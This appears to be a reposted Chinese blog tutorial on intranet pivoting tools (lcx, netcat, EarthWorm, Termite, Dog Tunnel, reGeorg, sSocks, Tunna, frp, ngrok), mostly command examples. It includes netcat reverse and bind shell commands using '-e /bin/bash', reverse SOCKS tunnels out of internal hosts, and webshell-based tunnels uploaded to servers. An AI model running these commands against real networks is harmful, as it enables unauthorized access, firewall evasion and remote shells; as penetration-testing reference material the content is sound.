内网端口 转发 穿透 工具简介

目录

一、LCX

1.lcx 内网端口转发(类似于SSH远程转发-R)

2.本地端口转发(类似于SSH本地转发-L)

二、nc反弹

正向连接

反向连接

三、socks代理工具

(1)Earthworm

(2)Termite

(3)Dog Tunnel

(4)reGeorg

(5)sSocks

(6)Tunna

四、内网穿透

(1)frp

(2)ngrok

(3)其他内网穿透平台


一、LCX

  • lcx.exe是一个端口转发工具,有Windows版和Linux版两个版本,Windows版是lcx.exe,Linux版为portmap。
  • lcx有两大功能:
    • 1.端口转发(listen和slave成对使用
    • 2.端口映射(tran)

1.lcx 内网端口转发(类似于SSH远程转发-R)

  • 内网主机上执行:lcx.exe –slave 公网主机ip 公网主机端口 内网主机ip 内网主机端口,意思是把内网主机的 3389 端口转发到具有公网ip主机的 4444 端口。
  • 公网主机上执行:lcx.exe –listen 公网主机端口1 公网主机端口2,意思是监听公网主机本机的 4444 端口请求,并将来自 4444 端口的请求传送给 5555 端口。

    内网:lcx.exe -slave 公网主机IP 4444 127.0.0.1 3389 或者 $ portmap -m 3 -h1 公网IP -p1 4444 -h2 127.0.0.1 -p2 3389
    公网:lcx.exe –listen 4444 5555 或者 $ portmap -m 2 -p1 4444 -p2 5555
  • 此时直接访问:公网IP:5555,即可转发到内网IP的3389

2.本地端口转发(类似于SSH本地转发-L)

  • 由于防火墙限制,部分端口如3389无法通过防火墙,此时可以将该目标主机的3389端口透传到防火墙允许的其他端口,如53端口,目标主机上执行:

    lcx.exe -tran 53 目标主机IP 3389 或者 $ portmap -m 1 -p1 53 -h2 目标IP -p2 3389
  • 这时我们可以直接远程桌面连接到目标主机IP:53

二、nc反弹

正向连接

  • 在公网主机上执行下面命令,监听8888端口,等待连接:

    $ nc -l -p 8888 -e /bin/bash
  • 在本地主机上执行下面命令,获得一个shell:

    $ nc ip 8888

反向连接

  • 在公网主机上进行监听:

    $ nc -lvp 8888
  • 在内网主机上执行下面命令,将shell反弹给公网IP:

    $ nc -e /bin/bash 公网IP 8888

三、socks代理工具

  • SOCKS代理客户端Linux可用proxychains,Windows可用Proxifier或者SocksCap64。
  • Proxychains 是一款 LINUX 平台下可以实现全局代理的软件,性能相当稳定可靠。在使任何程序通過代理上网,允許 TCP 和 DNS 通過代理隧道,支持 HTTP、SOCKS4、SOCKS5 類型的代理服务器,支持 proxy chain,即可配置多个代理,同一個 proxy chain 可使用不同类型的代理服务器。
  • Proxifier是一款功能非常强大的socks5客户端,可以让不支持通过代理服务器工作的网络程序能通过HTTPS或SOCKS代理或代理链。支持 64位系统,支持Xp,Vista,Win7,MAC OS ,支持socks4,socks5,http代理协议,支持TCP,UDP协议,可以指定端口,指定IP,指定域名,指定程序等运行模式,兼容性非常好。有点类似SOCKSCAP。
  • SocksCap64 是一款在 windows 下相当好使的全局代理软件。SocksCap64 可以使 Windows 应用程序通过 SOCKS 代理服务器来访问网络而不需要对这些应用程序做任何修改, 即使某些本身不支持 SOCKS 代理的应用程序通过 SocksCap64 之后都可以完美的实现代理访问。此软件已经停止更新。

(1)Earthworm

  • EW 是一套便携式的网络穿透工具,具有 SOCKS v5 服务架设和端口转发两大核心功能,可在复杂网络环境下完成网络穿透。该工具能够以 “正向”、“反向”、“多级级联” 等方式打通一条网络隧道,直达网络深处,用蚯蚓独有的手段突破网络限制,给防火墙松土。工具包中提供了多种可执行文件,以适用不同的操作系统,Linux、Windows、MacOS、Arm-Linux 均被包括其内, 强烈推荐使用。
  • EarthWorm 下载地址 https://github.com/rootkiter/EarthWorm
  • 该工具共有 6 种命令格式:ssocksd、rcsocks、rssocks、lcx_slave、lcx_listen、lcx_tran

    1.正向SOCKS v5服务器

  • 直接在服务器上面执行下面命令,将本机作为SOCKS5服务器使用,一般是在公网IP上面执行:

    $ ./ew -s ssocksd -l 1080
  • 然后将该主机作为SOCKS5服务器:

    $ curl ip.cn -x socks5://公网IP:1080

2.反弹SOCKS v5服务器

  • 这个操作具体分两步:
  • (1)先在一台具有公网 ip 的主机A上运行以下命令:

    $ ./ew -s rcsocks -l 1080 -e 8888
  • (2)在目标主机B上启动SOCKS v5服务,并反弹到公网主机的8888端口:

    $ ./ew -s rssocks -d 1.1.1.1 -e 8888
  • 让后通过公网1080端口将内网主机作为SOCKS5服务器:

    $ curl ip.cn -x socks5://1.1.1.1:1080

3.多级级联

  • 工具中自带的三条端口转发指令,参考lcx工具命令,它们的参数格式分别为:

    $ ./ew -s lcx_listen -l 1080 -e 8888
    $ ./ew -s lcx_slave -d 1.1.1.1 -e 8888 -f 2.2.2.3 -g 9999
    $ ./ew -s lcx_tran -l 1080 -f 2.2.2.3 -g 9999
  • 通过这些端口转发指令可以将处于网络深层的基于TCP的服务转发至根前,比如SOCKS v5。

二级级联案例

  • 1.lcx_tran 的用法

    $ ./ew -s ssocksd -l 9999 # 将本机9999端口作为SOCKS5服务器
    $ ./ew -s lcx_tran -l 1080 -f 127.0.0.1 -g 9999 # 将本机的1080端口转发到127.0.0.1上的9999端口
  • 2.lcx_listen、lcx_slave 的用法

    $ ./ew -s lcx_listen -l 1080 -e 8888 # 监听1080端口并转发到8888端口
    $ ./ew -s lcx_slave -d 127.0.0.1 -e 8888 -f 127.0.0.1 -g 9999 # 将127.0.0.1的9999端口转发到127.0.0.1的8888端口
    $ ./ew -s ssocksd -l 9999 # 将本机9999端口作为SOCKS5服务器
  • 数据流流向:SOCKS v5 -> 1080 -> 8888 -> 9999 -> rssocks

三级级联案例

$ ./ew -s rcsocks -l 1080 -e 8888
$ ./ew -s lcx_slave -d 127.0.0.1 -e 8888 -f 127.0.0.1 -g 9999
$ ./ew -s lcx_listen -l 9999 -e 7777
$ ./ew -s rssocks -d 127.0.0.1 -e 7777
  • 数据流向:SOCKS v5 -> 1080 -> 8888 -> 9999 -> 7777 -> rssocks

4.补充说明

  • 1.为了减少网络资源的消耗,程序中添加了超时机制,默认时间为10000毫秒(10秒),用户可以通过追加 -t 参数来调整这个值,单位为毫秒。在多级级联功能中,超时机制将以隧道中最短的时间为默认值。
  • 2.多级级联的三种状态可以转发任意以TCP为基础的通讯服务,包括远程桌面/ssh服务 等。
  • 3.ew_for_arm_32 在android手机、小米路由器和树莓派 上测试无误。

(2)Termite

  • Termite是EarthWorm的最新版,多种操作系统下均有Agent实现、跳板机互联、正反向级联、小巧无依赖、内置Shell令主机管理更方便。官方地址:Termite
  • Termite分为管理端(admin端)和被管理端(agent端),所有的被管理及其必须要部署agent。agent可以相互连接,被上游agent所管理。

    结构图

使用方法

  • 1.以服务模式启动一个agent服务。

    > $ ./agent -l 8888
  • 2.令管理端连接到agent并对agent进行管理。

    > $ ./admin -c 127.0.0.1 -p 8888
  • 3.此时,admin端会得到一个内置的shell, 输入help指令可以得到帮助信息。

    >> help
  • 4.通过show指令可以得到当前agent的拓扑情况。

    >> show
    0M
    +-- 1M
  • 由于当前拓扑中只有一个agent,所以展示结果只有 1M,其中1 为节点的ID号,M为MacOS系统的简写,Linux为L,Windows简写为W。

  • 5.将新agent加入当前拓扑

    > ./agent -c 127.0.0.1 -p 8888
  • 6.此时show指令将得到如下效果

    0M
    +-- 1M
    | +-- 2M
    # 这表明,当前拓扑中有两个节点,其中由于2节点需要通过1节点才能访问,所以下挂在1节点下方。
  • 7.在2节点开启socks代理,并绑定在本地端口

    >> goto 2 #将当前被管理节点切换为 2 号节点。
    >> socks 1080 # 此时,本地1080 端口会启动个监听服务,而服务提供者为2号节点。
  • 8.在1号节点开启一个shell并绑定到本地端口

    >> goto 1
    >> shell 7777 # 此时,通过nc本地的 7777 端口,就可以得到一个 1 节点提供的 shell
  • 9.将远程的文件下载至本地

    >> goto 1
    >> downfile 1.txt 2.txt # 将1 节点,目录下的 1.txt 下载至本地,并命名为2.txt
  • 10.上传文件至远程节点

    >> goto 2
    >> upfile 2.txt 3.txt # 将本地的 2.txt 上传至 2号节点的目录,并命名为3.txt
  • 11.端口转接

    >> goto 2
    >> lcxtran 3388 10.0.0.1 3389 # 以2号节点为跳板,将 10.0.0.1 的 3389 端口映射至本地的 3388 端口
  • 更多支持:

(3)Dog Tunnel

  • Dog Tunnel是一款基于kcp的p2p端口映射工具,同时支持socks5代理。在KCP出现后进行了重构,将其底层UDP支持替换为了KCP,使其效率大大提高,在某些恶劣的网络环境下依旧能有不错的效果。当然,它也是支持TCP模式的,另外它也是支持加密的,在P2P打洞失败的情况下也能够自动切换为C/S模式来使用服务器中转。官方地址:GitHub - vzex/dog-tunnel: p2p tunnel,(udp mode work with kcp,https://github.com/skywind3000/kcp)

使用方法

结构图

  • dtunnel_s 为服务端 dtunnel 为客户端。远端是最终要连接的端口,通常是内网服务器,近端是本地需要连接的端口,通常是本地。
  • dtunnel_s 启动时会监听一个tcp端口,通过-addr设置,如果需要-ssl(默认是false),那么要指定-cert加载ssl证书,之后客户端连接也要打开-ssl开关(默认是true的) -addrudp 是p2p打洞的辅助udp端口,能提高打洞成功率,对应dtunnel参数-buster指定同样的ip和端口
  • dtunnel_s 支持远程接口管理,如果需要,可通过-admin 指定ip:端口,比如-admin 127.0.0.1:1234
  • 使用方法:
  • 1.首先在公网服务器上面启动服务,监听端口:

    $ dtunnel_s -addr 0.0.0.0:8888 -ssl=false
  • 服务端参数说明:

    • -addr:服务端地址,默认是:0.0.0.0:8000
    • -addrudp:UDP服务端地址,用于P2P辅助打洞,默认是:0.0.0.0:8018
    • -admin:管理接口,用于提供API方便管理,如:0.0.0.0:1234
    • -ssl:启用ssl支持,启用需要指定-cert和-cert参数,默认关闭,有bug,必须加上-ssl=false来关闭ssl
    • -https:启用管理接口的HTTPS支持,需要指定-cert和-cert参数,默认关闭
    • -cert:证书路径
    • -key:证书密钥路径
    • -dbhost:数据库服务器
    • -dbpass:数据库密码
    • -dbuser:数据库用户
    • -replace:如果客户端注册名冲突,踢掉之前的,默认关闭
    • -version:显示版本
  • 2.远端客户端连接服务端:

    $ dtunnel -buster 1.2.3.4:8018 -remote 1.2.3.4:8888 -mode 0 -reg redis -local :6379 -addip 127.0.0.1 -clientkey password -ssl=false
    # 如果需要开启SOCKS5服务,修改-local参数即可,近端无需修改
    $ dtunnel -buster 1.2.3.4:8018 -remote 1.2.3.4:8888 -mode 0 -reg redis -local socks5 -addip 127.0.0.1 -clientkey password -ssl=false
  • 3.近端客户端了解客户端:

    $ dtunnel -buster 1.2.3.4:8018 -remote 1.2.3.4:8888 -mode 0 -link redis -local :9999 -addip 127.0.0.1 -clientkey password -ssl=false -encrypt
  • 客户端参数说明:

    • -addip:出口IP(单个或列表),注意:对于多公网ip的终端,请用-stun参数指定stun服务器辅助连接,或者用-addip参数手工指定出口ip列表,默认是:127.0.0.1
    • -remote:远程服务器,用于C/S模式,对应服务端-addr地址端口
    • -buster:打洞服务器,用于P2P模式,对应服务端-addrudp端口地址
    • -clientkey:客户端Key,用于远端和近端认证,需一致
    • -reg:注册名,远端使用
    • -link:连接的注册名,近端使用,用于识别连接远端
    • -local:本地监听端口,填socks5则为socks5代理服务
    • -encrypt:P2P模式加密,近端才能使用
    • -mode:连接模式(0:P2P打洞失败后切换为C/S 1:只使用P2P 2:只使用C/S)
    • -compress:压缩数据,远端和近端需一致
    • -debug:调试模式
    • -delay:打洞失败后重试延迟,秒
    • -dnscache:DNS缓存有效期,如果大于0将定时清空DNS缓存,分钟
    • -f:从文件中加载配置
    • -kcp:kcp配置,远端和近端需一致
    • -key:访问Key(服务端数据库中的AuthKey)
    • -pipen:管道数
    • ds:数据纠错?仅在P2P模式有效,远端和近端需一致
    • -ps:奇偶校验?仅在P2P模式有效,远端和近端需一致
    • -ssl:启用ssl支持,默认启用,服务端没有启用的话请使用-ssl=false来关闭,有bug,必须加上-ssl=false来关闭ssl
    • -v:输出详细日志
    • -version:显示版本
  • 5.访问:访问近端(本地)9999端口即可连接到远端6379端口。或者通过本地9999端口连接SOCKS5服务器:
    $ nc 127.0.0.1 9999
    # 或者
    $ curl ip.cn -x socks5://127.0.0.1:9999

(4)reGeorg

使用方法

  • 1.将tunnel.(aspx|ashx|jsp|php)上传到服务器
  • 2.运行该来程序启动代理:

    $ python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/tunnel.jsp
  • 3.使用SOCKS客户端连接使用IP:8080服务器。

    $ curl ip.cn -x socks5://127.0.0.1:8080

(5)sSocks

  • sSocks是一个socks代理工具套装,可用来开启socks代理服务,支持socks5验证,支持IPV6和UDP,并提供反向socks代理服务,即将远程计算机作为socks代理服务端,反弹回本地,极大方便内网的渗透测试。官方地址:sSocks (Socks5 Server) download | SourceForge.net
  • 下载解压后,执行命令编译

    ./configure && make
  • 编译完成,进入src目录,会发现有nsocks、ssocksd、ssocks、rcsocks,其功能说明介绍如下:

    • nsocks:类似通过Socks5代理后的netcat,可用来测试socks server
    • ssocksd:用来开启Socks5代理服务
    • ssocks:本地启用Socks5服务,并反弹到另一IP地址
    • rcsocks:接收反弹过来的Socks5服务,并转向另一端口

使用方法

  • 公网主机上执行:

    $ rcsocks -l 4444 -p 5555 -vv
  • 内网主机上执行:

    $ rssocks –vv --socks 公网主机ip:5555
  • 这时本地主机可以通过访问公网主机的 4444 端口访问内网主机:

    $ curl --socks5 公网IP:4444 https://api.ip.sb/ip

(6)Tunna

使用方法:

  • 命令格式:python proxy.py -u remoteurl -l localport [options]
  • 常用参数:
    • –lport=LOCAL_PORT,-l:LOCAL_PORT代表本地侦听端口
    • –verbose,-v:详细(输出数据包大小)
    • –buffer=BUFFERSIZE,-b:BUFFERSIZE* HTTP请求大小(一些网站对大小有限制)
    • –no-socks,-n:不使用 Socks 代理
    • –rport=REMOTE_PORT,-r:REMOTE_PORT远程服务端口,供webshell连接
    • –addr=REMOTE_IP,-a:REMOTE_IP 远程webshell连接到的地址(默认为 127.0.0.1)
    • –up-proxy=UPPROXY,-x:UPPROXY上游代理(http://proxyserver.com:3128)
    • –auth,-A :上游代理需要认证
    • –ping-interval=PING_DELAY,-q:PING_DELAY webshprx pinging线程间隔(默认值为0.5)
    • –start-ping,-s:首先启动ping线程 - 一些服务首先发送数据(例如,SSH)
    • –cookie,-C:请求cookies
  • 使用实例:
    $ python proxy.py -u http://10.3.3.1/test/conn.aspx -l 4444 -r 3389 -v
    # 通过连接本地的4444端口转发到服务器的3389端口

四、内网穿透

(1)frp

  • frp 是一个可用于内网穿透的高性能的反向代理应用,支持 tcp, udp, http, https 协议。官方网站:https://github.com/fatedier/frp
  • frp 的作用:
    • 利用处于内网或防火墙后的机器,对外网环境提供 http 或 https 服务。
    • 对于 http, https 服务支持基于域名的虚拟主机,支持自定义域名绑定,使多个域名可以共用一个80端口。
    • 利用处于内网或防火墙后的机器,对外网环境提供 tcp 和 udp 服务,例如在家里通过 ssh 访问处于公司内网环境内的主机。
  • 具体使用方法见文档

(2)ngrok

使用方法

  • 命令格式:ngrok tunnel local_ports
  • 将程序放到需要映射的主机,然后执行命令,如:

    $ ngrok http 80 # 映射本地80端口的HTTP服务
  • 返回一个*.ngrok.io地址,访问改地址即可访问内网服务。

  • 其他协议:
    $ ngrok http foo.dev:80 # 映射host:80隧道,而不是本地端口
    $ ng0rok tcp 22 # 映射22端口的TCP隧道
    $ ngrok tls -hostname=foo.com 443 # foo.com的TLS流量到443端口的隧道

(3)其他内网穿透平台

猜你喜欢

转载自blog.csdn.net/whatday/article/details/120607868